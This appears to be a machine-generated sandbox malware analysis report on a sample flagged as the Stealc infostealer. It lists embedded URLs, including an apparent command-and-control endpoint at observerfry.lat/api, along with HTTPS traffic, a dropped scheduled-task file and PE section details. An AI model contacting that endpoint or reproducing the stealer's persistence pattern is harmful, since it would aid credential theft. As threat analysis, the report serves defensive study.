Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_110.8.dr	String found in binary or memory: https://apis.google.com
Source: iUKUR1nUyD.exe, 00000000.00000003.2206378610.0000000005A31000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: iUKUR1nUyD.exe, 00000000.00000003.2206378610.0000000005A31000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_110.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_110.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_110.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_110.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: IEBAAFCAFCBKFHJJJKKF.4.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: https://mozilla.org0/
Source: iUKUR1nUyD.exe, iUKUR1nUyD.exe, 00000000.00000003.2249718158.000000000123D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: iUKUR1nUyD.exe, 00000000.00000003.2181016174.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2366148865.000000000123C000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2205672810.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2249718158.0000000001230000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2232076651.0000000001230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: iUKUR1nUyD.exe, 00000000.00000003.2232076651.0000000001230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api18w(
Source: iUKUR1nUyD.exe, 00000000.00000003.2181016174.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apip53F
Source: iUKUR1nUyD.exe, 00000000.00000003.2231955715.000000000123B000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2232860817.000000000123E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi(
Source: iUKUR1nUyD.exe, 00000000.00000003.2231955715.000000000123B000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2232860817.000000000123E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/piX
Source: iUKUR1nUyD.exe, iUKUR1nUyD.exe, 00000000.00000003.2231955715.000000000123B000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2249718158.0000000001230000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2211776831.0000000001234000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api
Source: chromecache_110.8.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://support.mozilla.org
Source: JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: iUKUR1nUyD.exe, 00000000.00000003.2183316851.0000000005D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_110.8.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_110.8.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_110.8.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://www.mozilla.org
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001D4000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001D4000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001D4000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: iUKUR1nUyD.exe, 00000000.00000003.2183316851.0000000005D53000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2930574455.000000000B77B000.00000004.00000020.00020000.00000000.sdmp, JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: iUKUR1nUyD.exe, 00000000.00000003.2183316851.0000000005D53000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2930574455.000000000B77B000.00000004.00000020.00020000.00000000.sdmp, JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001D4000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: iUKUR1nUyD.exe, 00000000.00000003.2183316851.0000000005D53000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2930574455.000000000B77B000.00000004.00000020.00020000.00000000.sdmp, JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49721 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: iUKUR1nUyD.exe	Static PE information: section name:
Source: iUKUR1nUyD.exe	Static PE information: section name: .idata
Source: iUKUR1nUyD.exe	Static PE information: section name:
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Static PE information: section name:
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Static PE information: section name: .idata
Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: section name:
Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: section name: .idata
Source: BAAFBFBAAK.exe.4.dr	Static PE information: section name:
Source: BAAFBFBAAK.exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: .idata

Source: C:\Users\user\Documents\BAAFBFBAAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Code function: 3_2_00900000	3_2_00900000
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Code function: 3_2_00905477	3_2_00905477
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Code function: 3_2_0090953E	3_2_0090953E
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Code function: 3_2_0077DE8B	3_2_0077DE8B
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4DAC60	4_2_6C4DAC60
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C596C00	4_2_6C596C00
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5AAC30	4_2_6C5AAC30
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C52ECD0	4_2_6C52ECD0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4CECC0	4_2_6C4CECC0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5FAD50	4_2_6C5FAD50
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C59ED70	4_2_6C59ED70
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C658D20	4_2_6C658D20
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C65CDC0	4_2_6C65CDC0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C566D90	4_2_6C566D90
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4D4DB0	4_2_6C4D4DB0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C56EE70	4_2_6C56EE70
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5B0E20	4_2_6C5B0E20
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4DAEC0	4_2_6C4DAEC0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C570EC0	4_2_6C570EC0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C556E90	4_2_6C556E90
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C53EF40	4_2_6C53EF40
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C592F70	4_2_6C592F70
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C610F20	4_2_6C610F20
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4D6F10	4_2_6C4D6F10
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5AEFF0	4_2_6C5AEFF0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4D0FE0	4_2_6C4D0FE0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C618FB0	4_2_6C618FB0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4DEFB0	4_2_6C4DEFB0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5A4840	4_2_6C5A4840
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C520820	4_2_6C520820
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C55A820	4_2_6C55A820
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5D68E0	4_2_6C5D68E0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C508960	4_2_6C508960
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C526900	4_2_6C526900
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5049F0	4_2_6C5049F0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5EC9E0	4_2_6C5EC9E0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5909B0	4_2_6C5909B0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5609A0	4_2_6C5609A0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C58A9A0	4_2_6C58A9A0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C54CA70	4_2_6C54CA70
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C57EA00	4_2_6C57EA00
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C588A30	4_2_6C588A30
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C54EA80	4_2_6C54EA80
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5D6BE0	4_2_6C5D6BE0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C570BA0	4_2_6C570BA0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4E8460	4_2_6C4E8460
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C55A430	4_2_6C55A430
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C534420	4_2_6C534420
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5164D0	4_2_6C5164D0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C56A4D0	4_2_6C56A4D0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5FA480	4_2_6C5FA480
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C528540	4_2_6C528540
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5D4540	4_2_6C5D4540
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C570570	4_2_6C570570
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C618550	4_2_6C618550
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C532560	4_2_6C532560
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C55E5F0	4_2_6C55E5F0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C59A5E0	4_2_6C59A5E0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4C45B0	4_2_6C4C45B0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C52C650	4_2_6C52C650
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C4F46D0	4_2_6C4F46D0
